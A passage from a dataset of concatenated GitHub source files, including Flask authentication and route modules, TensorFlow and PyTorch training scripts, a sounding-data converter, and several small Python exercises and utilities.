\"copper\", \"orangered\", \"orangered\"]\n * kde_alpha / scatter_alpha / margin_plot_alpha\n Opacity of the area from 0 to 1 for the 3 plots [Default 1, 0.01, 0.5]\n * sample\n If given, a n number of reads will be randomly selected instead of the entire dataframe [Default 100000]\n * kde_levels\n Number of levels for the central density plot [Default 10]\n * kde_shade\n If True the density curves will be filled [Default False]\n * min_len, max_len\n Minimal and maximal read length cut-offs for the plot [Default None]\n * min_qual, max_qual\n Minimal and maximal read quality cut-offs for the plot [Default None]\n => Return\n A seaborn JointGrid object with the plot on it. (http://seaborn.pydata.org/generated/seaborn.JointGrid.html)\n \"\"\"\n \n # Select reads\n df = self.df[[\"sequence_length_template\", \"mean_qscore_template\"]]\n if min_len:\n df = df[(df['sequence_length_template'] >= min_len)]\n if max_len:\n df = df[(df['sequence_length_template'] <= max_len)]\n if min_qual:\n df = df[(df['mean_qscore_template'] >= min_qual)]\n if max_qual:\n df = df[(df['mean_qscore_template'] <= max_qual)]\n if sample and len(df) > sample: \n df = df.sample(sample)\n \n # Plot the graph\n g = sns.JointGrid(\"sequence_length_template\", \"mean_qscore_template\", data=df, space=0.1, size=figsize)\n \n if kde:\n if kde_shade:\n g = g.plot_joint(sns.kdeplot, cmap=kde_cmap, alpha=kde_alpha, shade=True, shade_lowest=False, n_levels=kde_levels,)\n else:\n g = g.plot_joint(sns.kdeplot, cmap=kde_cmap, alpha=kde_alpha, shade=False, shade_lowest=False, n_levels=kde_levels, linewidths=1)\n if scatter:\n g = g.plot_joint(pl.scatter, color=scatter_color, alpha=scatter_alpha)\n if margin_plot:\n g = g.plot_marginals(sns.kdeplot, shade=True, color=margin_plot_color, alpha=margin_plot_alpha)\n \n # Tweak the plot\n t = g.ax_marg_x.set_title (\"Mean read quality per sequence length\")\n t = g.ax_joint.set_xlabel(\"Sequence length (bp)\")\n t = g.ax_joint.set_ylabel(\"Mean read quality (PHRED)\")\n\n return g\n","repo_name":"tanaes/pycoQC","sub_path":"pycoQC/pycoQC.py","file_name":"pycoQC.py","file_ext":"py","file_size_in_byte":22907,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"29"} +{"seq_id":"71288656079","text":"from perseuspy import pd\nfrom perseuspy.parameters import *\nimport numpy as np\nimport re\nimport sys\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.model_selection import GridSearchCV, ShuffleSplit, train_test_split\nfrom sklearn.metrics import accuracy_score, mean_absolute_error, mean_squared_error, mean_absolute_error, balanced_accuracy_score, f1_score\n\n\n\n\n\n\ndef generate_features_labels(matrix, injection_order, qc_index):\n labels = matrix[qc_index] # takes ith mets\n submatrix = np.delete(matrix, qc_index, axis=0) # delete ith row\n features = np.vstack((injection_order, submatrix))\n return features.T, labels\n\n#################################################################################################\n\n\n\ndef generate_gridsearch_features_labels(matrix, injection_order):\n features_list = []\n labels_list = []\n for i in range(0, len(matrix)):\n features, labels = generate_features_labels(matrix, injection_order, i)\n features_list.append(features)\n labels_list.append(labels)\n return features_list, labels_list\n\n\n###################################################################################\n\n\ndef print_results(ytest, yprediction):\n scores = ''\n accuracy_score_value = \"%.3f\" % accuracy_score(ytest, yprediction)\n balanced_accuracy_score_value = '%.3f' % balanced_accuracy_score(ytest, yprediction)\n f1_score_value = '%.3f' % f1_score(ytest, yprediction, average='weighted')\n scores += 'Accuracy: ' + str(accuracy_score_value) + '\\n' + 'Balanced accuracy: ' + str(balanced_accuracy_score_value) + '\\n' + 'F1 score: ' + str(f1_score_value) + '\\n'\n return scores\n\n\n\n","repo_name":"deniseda/MSC_THESIS_PUBLIC","sub_path":"sources/common/Functions.py","file_name":"Functions.py","file_ext":"py","file_size_in_byte":1662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"17702567925","text":"numworkdays = int(input(\"Please enter how many days worked: \"))\r\ntotalpennies = 0\r\nprint(\"----------\")\r\nprint( \"Day\\tSalary\\n---\\t------\" )\r\nfor currday in range( numworkdays ):\r\n pennyperday = 2**currday\r\n totalpennies += pennyperday\r\n print( currday + 1, \"\\t\" , pennyperday)\r\ntotalpay = totalpennies * .01\r\nprint( \"\\nTotal pay: \", totalpay )\r\n","repo_name":"jcubelo/chapter_practice","sub_path":"penny salary 4.2.py","file_name":"penny salary 4.2.py","file_ext":"py","file_size_in_byte":354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"10204217132","text":"import hashlib, hmac\nimport uuid\n\nfrom flask import request, current_app, g\n\nfrom social import model\nfrom social.utils.redis import redis\nfrom social.exception import AuthFailError\n\n\ndef genToken(user :object, expiration = 30 * 24 * 3600):\n \"\"\"Generate a token and save it to redis server\n :param expiration: TTL\n :param salt: username\n :type salt: str\n :type expiration: int\n :return:\n \"\"\"\n token = uuid.uuid4()\n\n redis.set(\"login+\" + str(user.id), token.hex, expiration)\n\n return token.hex\n\n\ndef getToken(user: object):\n \"\"\"Check the token\n\n :param token: token\n :return: User object if success, None otherwise\n \"\"\"\n result = redis.get(\"login+\" + str(user.id))\n\n # extend the ttl\n if result is not None:\n redis.expire(\"login\" + str(user.id), 30 * 24 * 3600)\n\n return None if result is None else result.decode()\n\n\ndef freshToken(user: object, exp: int = 30 * 24 * 3600):\n \"\"\"Fresh the TTL of certain token\n\n :param username: token to fresh\n :param exp: TTL\n :return: True if success, False otherwise\n \"\"\"\n re = redis.expire(\"login+\" + user.name, exp)\n\n return True if re == True else None\n\n\ndef authRequired(func):\n def wrapper(*args, **kwargs):\n try:\n id = request.headers.get('user-id', None)\n sign = request.headers.get('digest', None)\n timestamp = request.headers.get('timestamp', None)\n\n if id is None or sign is None or timestamp is None:\n current_app.logger.warn(\"缺少digest或id或者timestamp:%s\", request.remote_addr)\n raise AuthFailError\n\n user = model.User.getById(id)\n if user is None:\n current_app.logger.warn(\"user不存在:%s\", request.remote_addr)\n raise AuthFailError\n else:\n # Now we check the sign\n token = getToken(user)\n current_app.logger.info(\"We now get token %s\" % token)\n if token is None:\n current_app.logger.warn(\"user对应token不存在:%s %s\", id, request.remote_addr)\n raise AuthFailError\n\n if token != sign:\n current_app.logger.warn(\"认证失败: %s\", request.remote_addr)\n if not current_app.debug:\n # in debug mode we skip the authorized stop\n raise AuthFailError\n\n g.current_user = user\n\n except AuthFailError:\n current_app.logger.warn(\"api鉴权失败 ip: %s\", request.remote_addr)\n # We can't use the flask error handler for some reason, We will check later.\n return ({\"code\":-1, \"body\":None, \"msg\":\"你要搞个大新闻?\"}, 401)\n else:\n return func(*args, **kwargs)\n return wrapper\n\n\ndef genSign(uri, dict, timestamp, app_token : str, user_token : str = str()):\n \"\"\"Generate a signature of the post code\n\n :param dict: the form or get query\n :param app_token: the token we need sign\n :param user_token: token of user\n :type dict dict\n :type app_token str\n :type user_token str\n\n :return: the sign string\n \"\"\"\n\n strings = []\n for key, value in sorted(dict.items()):\n strings.append(\"%s=%s\" % (key, value))\n secret = user_token + app_token\n msg = \"+\".join([timestamp, uri, \"&\".join(strings)])\n current_app.logger.debug(\"the message is %s\", msg)\n\n digest = hmac.new(secret.encode(), msg.encode(), hashlib.sha256).hexdigest()\n current_app.logger.debug(\"the digest is %s\", digest)\n\n return digest\n\n","repo_name":"jimages/social-backend","sub_path":"social/utils/auth.py","file_name":"auth.py","file_ext":"py","file_size_in_byte":3609,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"2067136513","text":"import sys\nfrom PySide2.QtUiTools import QUiLoader\nfrom PySide2.QtWidgets import QApplication\nfrom PySide2.QtCore import QFile, QIODevice, Qt, Slot\n\nimport os\n\n@Slot(int)\ndef rd_print(value: int):\n print(value)\n\n\nif __name__ == \"__main__\":\n\n os.environ[\"QT_AUTO_SCREEN_SCALE_FACTOR\"] = \"1\"\n\n app = QApplication(sys.argv)\n app.setStyle('Fusion')\n app.setAttribute(Qt.AA_EnableHighDpiScaling)\n\n ui_file_name = \"qt_designer_gui.ui\"\n ui_file = QFile(ui_file_name)\n if not ui_file.open(QIODevice.ReadOnly):\n print(\"Cannot open {}: {}\".format(ui_file_name, ui_file.errorString()))\n sys.exit(-1)\n loader = QUiLoader()\n window = loader.load(ui_file)\n ui_file.close()\n if not window:\n print(loader.errorString())\n sys.exit(-1)\n window.show()\n\n rd = window.rotation_spinbox\n rd.valueChanged.connect(rd_print)\n\n sys.exit(app.exec_())","repo_name":"innot/AdvPiStepper","sub_path":"examples/QtStepperTester/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":898,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"29"} +{"seq_id":"29481082622","text":"def inrange(a,b,n):\n if a>=0 and b>=0 and a<n and b<n:\n return True\n else:\n return False\ndef findBack(i,alive,itms):\n t = i-1\n while(t>=0):\n indexI = itms[t][2]\n if (alive[indexI]):\n return t\n t-=1\n return -1\ndef findFront(i,alive,itms,n):\n t = i+1\n while(t<n):\n indexI = itms[t][2]\n if (alive[indexI]):\n return t\n t+=1\n return -1\n\ndef binary_search(arr, val, start, end):\n if start == end:\n if arr[start][0] > val:\n return start\n else:\n return start+1\n if start > end:\n return start\n \n mid = (start+end)//2\n if arr[mid][0] < val:\n return binary_search(arr, val, mid+1, end)\n elif arr[mid][0] > val:\n return binary_search(arr, val, start, mid-1)\n else:\n return mid\n \ndef insertion(arr,li):\n if len(li)==0:\n li.append(arr)\n return li\n if len(li)==1:\n if arr[0]>=li[0][0]:\n li.append(arr)\n else:\n li = [arr] + [li[0]]\n return li\n siz = len(li)-1\n val = arr[0]\n j = binary_search(li, val, 0, siz)\n li.insert(j,arr)\n return li\n \ndef collide(locI1, locI2, spdI1, spdI2):\n if spdI1==spdI2:\n return 0\n elif (spdI1-spdI2<0):\n return 0\n else:\n return (locI2-locI1)/(spdI1-spdI2)\n\nn = int(input())\nalive = [1]*n\n#print(alive)\nitms = []\nfor i in range(n):\n x,y=map(int, input().split())\n itms.append([x,y,i])\n\nitms.sort()\n#print(*itms,sep=\" \")\ntim=[]\n#tim2=[]\nfor i in range(1,n):\n locI1=itms[i-1][0]\n locI2 = itms[i][0]\n spdI1 = itms[i-1][1]\n spdI2 = itms[i][1]\n delta = collide(locI1,locI2,spdI1,spdI2)\n if (delta>0):\n #print(*[delta,i-1,i],sep=\" \")\n #tim2.append([delta,i-1,i])\n tim = insertion([delta,i-1,i],tim)\n #bisect.bisect_right(KeyList(tim, key=lambda x: x[0]), [delta,i-1,i])\n\n#print(*tim,sep=\" \")\ncnt=0\nwhile(len(tim)!=0):\n u = tim.pop(0)\n firD=u[1]\n secD=u[2]\n i_firD=itms[firD][2]\n i_secD=itms[secD][2]\n if (alive[i_firD] and alive[i_secD]):\n cnt+=2\n alive[i_firD] =0\n alive[i_secD] = 0\n backD = findBack(i_firD,alive,itms)\n frontD = findFront(i_secD,alive,itms,n)\n if (frontD!=-1 and backD!=-1):\n locI1=itms[backD][0]\n locI2 = itms[frontD][0]\n spdI1 = itms[backD][1]\n spdI2 = itms[frontD][1]\n delta = collide(locI1,locI2,spdI1,spdI2)\n if (delta>0):\n tim = insertion([delta,backD,frontD],tim)\nprint(n-cnt)\nfor i in range(n):\n if (alive[i]):\n print(i+1,end=\" \")","repo_name":"MilladMuhammadi/Competitive-Programming","sub_path":"UICPC/21/flightcollision.py","file_name":"flightcollision.py","file_ext":"py","file_size_in_byte":2662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"22328302524","text":"import numpy as np\nimport pandas as pd\nimport arboretum\nimport json\nfrom sklearn.metrics import roc_auc_score\n\nimport time\nfrom sklearn.model_selection import train_test_split\n\n\nif __name__ == '__main__':\n df = pd.read_csv('../data/HIGGS.csv.gz', names=['label', 'lepton pT',\n 'lepton eta', 'lepton phi', 'missing energy magnitude', 'missing energy phi',\n 'jet 1 pt', 'jet 1 eta', 'jet 1 phi', 'jet 1 b-tag', 'jet 2 pt', 'jet 2 eta',\n 'jet 2 phi', 'jet 2 b-tag', 'jet 3 pt', 'jet 3 eta', 'jet 3 phi', 'jet 3 b-tag',\n 'jet 4 pt', 'jet 4 eta', 'jet 4 phi', 'jet 4 b-tag', 'm_jj', 'm_jjj', 'm_lv',\n 'm_jlv', 'm_bb', 'm_wbb', 'm_wwbb'], nrows=10000000)\n labels = df['label'].values\n df = df.drop(['label'], axis=1)\n X = df.values\n\n for _ in range(1):\n X_train, X_test, labels_train, labels_test = train_test_split(\n X, labels, test_size=0.2, random_state=42)\n\n start_time = iter_time = time.time()\n n_rounds = 1000\n\n X_train = arboretum.DMatrix(X_train, y=labels_train)\n\n config = {'objective': 1,\n 'method': 1,\n 'internals':\n {\n 'double_precision': False,\n 'compute_overlap': 2,\n 'use_hist_subtraction_trick': True,\n 'dynamic_parallelism': True,\n 'upload_features': True,\n 'hist_size': 255,\n },\n 'verbose':\n {\n 'gpu': True,\n 'booster': True,\n 'data': True,\n },\n 'tree':\n {\n 'eta': 0.1,\n 'max_depth': 3,\n 'gamma_absolute': 0.0,\n 'min_child_weight': 100.0,\n 'min_leaf_size': 0,\n 'colsample_bytree': 1.0,\n 'colsample_bylevel': 1.0,\n 'lambda': 0.0,\n 'alpha': 0.0\n }}\n model = arboretum.Garden(config)\n model.data = X_train\n model.labels_count = 1\n\n for i in range(n_rounds):\n model.grow_tree()\n # print('next tree', time.time() - iter_time)\n iter_time = time.time()\n print((time.time() - start_time) / n_rounds)\n\n X_test = arboretum.DMatrix(X_test)\n\n labels_pred = model.predict(X_train)\n labels_pred_test = model.predict(X_test)\n print('roc auc train: {0} test: {1}'.format(roc_auc_score(labels_train, labels_pred),\n roc_auc_score(labels_test, labels_pred_test)))\n\n # print(model.dump())\n\n del X_train\n del X_test\n del model\n","repo_name":"sh1ng/arboretum_benchmark","sub_path":"src/arboretum_speed_test.py","file_name":"arboretum_speed_test.py","file_ext":"py","file_size_in_byte":3058,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"11470650139","text":"import sys, pygame\nfrom pygame.locals import *\n\nclass Movement_Controller:\n def __intit__(self):\n pass\n\n def controller_for_player(self, player, events):\n for event in events:\n if event.type == KEYDOWN:\n if event.key == self._controls[\"right\"]:\n player.moving_right = True\n elif event.key == self._controls[\"left\"]:\n player.moving_left = True\n elif event.key == self._controls[\"up\"]:\n if player.air_timer < 6:\n player.jumping = True\n\n elif event.type == KEYUP:\n if event.key == self._controls[\"right\"]:\n player.moving_right = False\n elif event.key == self._controls[\"left\"]:\n player.moving_left = False\n elif event.key == self._controls[\"up\"]:\n player.jumping = False\n\n\n @staticmethod\n def key_press(key, events):\n for event in events:\n if event.type == QUIT:\n pygame.quit()\n sys.exit()\n elif event.type == KEYDOWN:\n if event.key == key:\n return True\n return False\n\n\nclass Main_Controller(Movement_Controller):\n pass\n\nclass Left_Player_Controller(Movement_Controller):\n def __init__(self):\n self._controls = {\n \"left\": K_a,\n \"up\": K_w,\n \"right\": K_d,\n }\n super().__init__()\n\n\nclass Right_Player_Controller(Movement_Controller):\n def __init__(self):\n self._controls = {\n \"left\": K_LEFT,\n \"up\": K_UP,\n \"right\": K_RIGHT,\n }\n super().__init__()\n","repo_name":"AferDust/nFactorial-project","sub_path":"companent2/movemet_controller.py","file_name":"movemet_controller.py","file_ext":"py","file_size_in_byte":1762,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"396864496","text":"\n\nimport unittest\n\n\nfrom codificador import Codificar\n\nclass CodificadorTestes(unittest.TestCase):\n\n def test_len_msg_str(self):\n obj = Codificar()\n self.assertEqual(\n obj._len_msg_str('Mensagem'),\n '000008'\n )\n\n def test_len_msg(self):\n obj = Codificar()\n self.assertEqual(\n obj._len_msg('coded=222333kkklll'),\n 111222\n )\n\n def test_entrada(self):\n text = 'Um mensagem qualquer! '\n obj = Codificar(text)\n self.assertEqual(\n obj.entrada,\n text\n )\n\n def test_saida(self):\n text = 'Um mensagem qualquer! '\n obj = Codificar(text)\n self.assertNotEqual(\n obj.criptografar(text),\n text\n )\n\n def test_descriptografar(self):\n text = 'Um mensagem qualquer! '\n obj = Codificar(text)\n obj.criptografar(text)\n self.assertEqual(\n obj.decriptografar(obj.codificado),\n text\n )\n\n\nif __name__ == '__main__':\n print(f'\\n' * 10)\n unittest.main()\n\n\ndef teste_completo():\n unittest.main()\n","repo_name":"m4n1nh0/criptografar-txt","sub_path":"testes.py","file_name":"testes.py","file_ext":"py","file_size_in_byte":1135,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"26329234231","text":"from kavenegar import APIException, HTTPException, KavenegarAPI\n\nfrom config.settings import KAVENEGAR_API_KEY, KAVENEGAR_TEMPLATE\n\n\ndef send_sms_otp(phone_number: str, code: str) -> bool:\n api = KavenegarAPI(KAVENEGAR_API_KEY)\n params = {\n \"receptor\": phone_number,\n \"template\": KAVENEGAR_TEMPLATE,\n \"token\": code,\n \"type\": \"sms\",\n }\n try:\n api.verify_lookup(params)\n return True\n except APIException as e:\n print(e)\n except HTTPException as e:\n print(e)\n except Exception as e:\n print(e)\n return True\n","repo_name":"nimadorostkar/petemoon","sub_path":"accounts/functions/kavenegar.py","file_name":"kavenegar.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"33170052179","text":"# -*- coding: utf-8 -*-\n# Author: Zilch\n# Creation Date: 2019/2/25\nimport tensorflow as tf\nimport os\n\n# 调整警告等级\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\n'''\ncsv文件读取:\n1. 先找到文件,构造一个列表\n2. 构造文件队列\n3. 构造阅读器,读取队列内容(按行)\n4. 解码内容\n5. 批处理(多样本)\n'''\n\n\ndef csvread(file_list):\n '''\n 读取CSV文件\n :parameter filelist:文件路径+名字的列表\n :return 读取的内容\n '''\n # 1.构建文件的队列\n file_queue = tf.train.string_input_producer(file_list, shuffle=True)\n\n # 2.构建CSV阅读器\n reader = tf.TextLineReader()\n key, value = reader.read(file_queue)\n\n # 3.对每一行内容进��解码\n '''\n record_defaults:参数决定了所得张量的类型,并指定默认值\n Acceptable types are `float32`, `float64`, `int32`, `int64`, `string`.\n '''\n records = [['name'], ['sex'], [160], [60]]\n # records = [['apple'], ['jpg'], [4], [2], ['apple'], [22], [22], [22], [22]]\n\n name, sex, height, weight = tf.decode_csv(\n value, record_defaults=records, field_delim=\",\")\n # name, categr, height, width, label, x1, x2, x3, x4 = tf.decode_csv(value, record_defaults=records, field_delim=\",\")\n\n # 4.想要读取多个数据, 就需要批处理\n name_batch, sex_batch, height_batch, weight_batch = tf.train.batch(\n [name, sex, height, weight], batch_size=10, num_threads=1, capacity=10)\n\n # return name, sex, height, weight\n print(name_batch, sex_batch, height_batch, weight_batch)\n return name_batch, sex_batch, height_batch, weight_batch\n # return name, categr, height, width, label, x1, x2, x3, x4\n\n\nif __name__ == \"__main__\":\n file_path = os.path.join(os.getcwd(), 'test_file\\\\csv_file')\n file_name = os.listdir(file_path)\n file_list = [os.path.join(file_path, file) for file in file_name]\n\n name, sex, height, weight = csvread(file_list)\n # name, categr, height, width, label, x1, x2, x3, x4 = csvread(file_list)\n\n # 开启会话\n with tf.Session() as sess:\n # 定义一个线程协调器\n coord = tf.train.Coordinator()\n\n # 开启读文件的线程\n threads = tf.train.start_queue_runners(sess=sess, coord=coord)\n\n # 打印读取的内容\n print(sess.run([name, sex, height, weight]))\n # print(sess.run([name, categr, height, width, label, x1, x2, x3, x4]))\n\n coord.request_stop()\n coord.join(threads=threads)\n","repo_name":"hezl1592/MyLearn","sub_path":"Deep/9_IO_file.py","file_name":"9_IO_file.py","file_ext":"py","file_size_in_byte":2521,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"30869421610","text":"from flask import request, make_response, Blueprint\nfrom database.model import Github\nfrom middlewear.middlewear import check_token\nfrom flask_jwt_extended import jwt_required, get_jwt_identity\n\ngithub = Blueprint('github', __name__)\n\n\n# Get all Github links\n@github.route('/getGithub', methods=['Get'])\ndef get_github():\n try:\n tempGithub = Github.objects().order_by('-id').to_json()\n return tempGithub\n except:\n return make_response({\"error\": \"Bad Request\"}, 400)\n\n\n# Post a Github link\n@github.route('/postGithub', methods=['POST'])\n@jwt_required\ndef post_github():\n try:\n userEmail = get_jwt_identity()\n token = request.headers['Authorization'].replace('Bearer ', '')\n tempUser = check_token(token, userEmail)\n if tempUser is None:\n return make_response({\"error\": \"Forbidden\"}, 403)\n else:\n body = request.get_json()\n tempGithub = Github(**body)\n tempGithub.save()\n return make_response({\"completed\": \"true\"}, 400)\n except:\n return make_response({\"error\": \"Bad Request\"}, 400)\n\n\n# Delete a Github link\n@github.route('/deleteGithub/<ID>', methods=['DELETE'])\n@jwt_required\ndef delete_github(ID):\n try:\n userEmail = get_jwt_identity()\n token = request.headers['Authorization'].replace('Bearer ', '')\n tempUser = check_token(token, userEmail)\n if tempUser is None:\n return make_response({\"error\": \"Forbidden\"}, 403)\n else:\n tempGithub = Github.objects.get(id=ID)\n tempGithub.delete()\n return make_response({\"deleted\": \"true\"}, 200)\n except:\n return make_response({\"error\": \"Bad Request\"}, 400)","repo_name":"NavdeepChawla/StcAppBackend","sub_path":"routes/github.py","file_name":"github.py","file_ext":"py","file_size_in_byte":1716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"15214356163","text":"'''\n Richard Elgar\n SDEV220\n Sort three numbers\n DUE: 14 Sep 21\n\n Write the following function to display three numnbers in increasing order:\n >> def displaySortedNumbers(num1,num2,num3):\n \n Write a test program that prompts the user to enter three numbers and invokes the function to display them in increasing order\n -- Also write a function that sorts the numbers in decreasing order.\n'''\n\n# sort in increasing order\ndef displayIncreasing(num1,num2,num3):\n numMax = max(num1,num2,num3)\n numMin = min(num1,num2,num3)\n if(numMax == num1):\n if(numMin == num2):\n numMid = num3\n elif(numMin == num3):\n numMid = num2\n elif(numMax == num2):\n if(numMin == num1):\n numMid = num3\n elif(numMin == num3):\n numMid = num1\n elif(numMax == num3):\n if(numMin == num1):\n numMid = num2\n elif(numMin == num2):\n numMid = num1\n \n print(\"Numbers in increasing order: \", numMin,numMid,numMax)\n\n\n# sort in decreasing order\ndef displayDecreasing(num1,num2,num3):\n if(num1 == max(num1,num2,num3)):\n numMax = num1\n numMid = max(num2,num3)\n numMin = min(num2,num3)\n elif(num2 == max(num1,num2,num3)):\n numMax = num2\n numMid = max(num1,num3)\n numMin = min(num1,num3)\n elif(num3 == max(num1,num2,num3)):\n numMax = num3\n numMid = max(num1,num2)\n numMin = min(num1,num2)\n \n print(\"Numbers in decreasing order: \", numMax,numMid,numMin)\n\n\n# main function\ndef main():\n input1,input2,input3 = eval(input(\"Enter three numbers separated by commas(e.g. '1,2,3'): \"))\n displayIncreasing(input1,input2,input3)\n displayDecreasing(input1,input2,input3)\n\n\n# call main() \nmain()\n","repo_name":"lelgar4/repo_school","sub_path":"SDEV220/M02 ProgExs/sortthreenum.py","file_name":"sortthreenum.py","file_ext":"py","file_size_in_byte":1796,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"37055294585","text":"\"\"\"UAH Sounding Converter / Plotter\n\nPreston Pangle and Dean Meyer 2020\n\nThis program takes in UAH sounding data, quality-controls the data, and \noutputs into 3 different formats:\n- Research-Ready, easy to read data\n- SHARPpy formatted data\n- Raob formatted data\n\nThis program is designed for easy use and minimizing errors in the field. \nIf you encounter bugs, please contact Preston Pangle or Dean Meyer at \npreston.pangle@uah.edu and dm0096@uah.edu, respectively.\n\nPlots made with SHARPpy - https://sharppy.github.io/SHARPpy/\n\"\"\"\n\nfrom os import path\nfrom UAH_windsond_program import convert_windsond\nfrom UAH_imet_program import convert_imet\n\ndef get_file():\n file = str(input('Drag and drop an iMet \"TSPOTINT\" or Windsond \"raw_history\" file here: '))\n file = file.replace('\"', '')\n file = file.replace(\"'\", '')\n return file\n\ndef verify_number(num):\n try:\n int(num)\n float(num)\n except Exception:\n raise TypeError('\\nExpected a numeric entry!\\n')\n \ndef verify_length(num, length):\n if len(num) != length:\n raise ValueError\n\ndef get_date():\n while True:\n date = str(input('Enter the launch date in UTC (YYYYMMDD): '))\n try:\n verify_number(date)\n verify_length(date, 8)\n except TypeError:\n print('\\nExpected a numeric entry!\\n')\n continue\n except ValueError:\n print('\\nDate entry must be 8 digits long!\\n')\n continue\n else:\n return date\n break\n \ndef get_time():\n while True:\n time = str(input('Enter the launch time in UTC (HHMM): '))\n try:\n verify_number(time)\n verify_length(time, 4)\n except TypeError:\n print('\\nExpected a numeric entry!\\n')\n continue\n except ValueError:\n print('\\nTime entry must be 4 digits long!\\n')\n continue\n else:\n return time\n break\n \ndef get_location():\n while True:\n location = str(input('Enter the launch site name (e.g. Huntsville): '))\n try:\n verify_length(location, 0)\n except ValueError:\n return location\n break\n else:\n print('\\nLocation entry cannot be blank!\\n')\n continue\n \ndef get_state():\n while True:\n st = str(input('Enter the launch state (e.g. AL): '))\n try:\n verify_length(st, 2)\n except ValueError:\n print('\\nState entry must be two characters long!\\n')\n continue\n else:\n return st\n break\n \ndef get_elevation():\n while True:\n elev = str(input('Enter the launch elevation in meters above MSL: '))\n try:\n verify_number(elev)\n except TypeError:\n print('\\nExpected a numeric entry!\\n')\n continue\n else:\n return elev\n break\n\nif __name__ == '__main__':\n while True:\n file = get_file()\n \n if path.basename(file).split(sep='.')[-2] == 'raw_history':\n print('\\nWindsond file detected!\\n')\n date = get_date()\n time = get_time()\n location = get_location()\n st = get_state()\n elev = get_elevation()\n convert_windsond(file, date, time, location, st, int(elev))\n print('\\n\\n\\n')\n continue\n \n elif path.basename(file).split('.')[-2].split('_')[-1] == 'TSPOTINT':\n print('\\niMet file detected!\\n')\n date = get_date()\n time = get_time()\n location = get_location()\n st = get_state()\n elev = get_elevation()\n convert_imet(file, date, time, location, st, elev)\n print('\\n\\n\\n')\n continue\n \n else:\n print('\\nExpected an iMet \"TSPOTINT\" or Windsond \"raw_history\" file!\\n')\n continue","repo_name":"uahswirll/hushpupy","sub_path":"UAH_sounding_conversion.py","file_name":"UAH_sounding_conversion.py","file_ext":"py","file_size_in_byte":3981,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"14740453389","text":"import yaml\nfrom optparse import OptionParser\n\nfrom dataLoader import NERDataset\nfrom dataLoader import pad\nfrom dataLoader import tagDict\nfrom dataLoader import int2tag\nfrom dataLoader import tag2int\nfrom dataLoader import int2word\n\nfrom torch.utils import data\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch\n\nfrom bilstm import BiLSTM\nfrom bilstm import bilstmEval\nfrom bilstm import bilstmTrain\nfrom bilstm_crf import BiLSTM_CRF\nfrom bilstm_crf import bilstmCRFEval\nfrom bilstm_crf import bilstmCRFTrain\nfrom transformer import Transformer\nfrom transformer import transformerTrain\nfrom transformer import transformerEval\n\nimport sys\nfrom seqeval.metrics import f1_score, accuracy_score, classification_report\n\nfrom util import generateSubmit\n\ndef main(config):\n trainDataPath = config['data']['trainDataPath']\n validDataPath = config['data']['validDataPath']\n submitDataPath = config['data']['submitDataPath']\n\n modelName = config['modelName']\n submitPrePath = config['model'][modelName]['submitPrePath']\n submitResultPath = config['model'][modelName]['submitResultPath']\n modelSavePath = config['model'][modelName]['modelSavePath']\n\n batchSize = config['model']['batchSize']\n epochNum = config['model']['epochNum']\n earlyStop = config['model']['earlyStop']\n learningRate = config['model']['learningRate']\n \n \n #GPU/CPU\n DEVICE = config['DEVICE']\n\n trianDataset = NERDataset(trainDataPath, config)\n validDataset = NERDataset(validDataPath, config)\n submitDataset = NERDataset(submitDataPath, config)\n \n trainIter = data.DataLoader(dataset = trianDataset,\n batch_size = batchSize,\n shuffle = True,\n num_workers = 4,\n collate_fn = pad)\n\n validIter = data.DataLoader(dataset = validDataset,\n batch_size = batchSize,\n shuffle = False,\n num_workers = 4,\n collate_fn = pad)\n\n submitIter = data.DataLoader(dataset = submitDataset,\n batch_size = batchSize,\n shuffle = False,\n num_workers = 4,\n collate_fn = pad)\n\n if modelName == 'bilstm':\n net = BiLSTM(config)\n train = bilstmTrain\n eval = bilstmEval\n if torch.cuda.device_count() > 1:\n net = nn.DataParallel(net)\n \n if modelName == 'bilstm_crf':\n net = BiLSTM_CRF(config)\n train = bilstmCRFTrain\n eval = bilstmCRFEval\n \n if modelName == 'transformer':\n net = Transformer(config)\n train = transformerTrain\n eval = transformerEval\n\n net = net.to(DEVICE)\n\n lossFunction = nn.NLLLoss()\n optimizer = optim.Adam(net.parameters(), lr=learningRate,betas=(0.9, 0.999), eps=1e-08)\n\n earlyNumber, beforeLoss, maxScore = 0, sys.maxsize, -1\n\n #开始训练\n for epoch in range(epochNum):\n print ('第%d次迭代' % (epoch+1))\n\n totalLoss = train(net, trainIter, optimizer=optimizer, criterion=lossFunction, DEVICE=DEVICE)\n print ('训练损失为: %f' % totalLoss)\n\n totalLoss, f1Score, _, _, _ = eval(net,validIter,criterion=lossFunction, DEVICE=DEVICE)\n\n if f1Score > maxScore:\n maxScore = f1Score\n torch.save(net.state_dict(), modelSavePath)\n print ('验证损失为:%f f1Score:%f / %f' % (totalLoss, f1Score, maxScore))\n if f1Score < maxScore:\n earlyNumber += 1\n print('earyStop: %d/%d' % (earlyNumber, earlyStop))\n else:\n earlyNumber = 0\n if earlyNumber >= earlyStop: break\n print ('\\n')\n\n\n 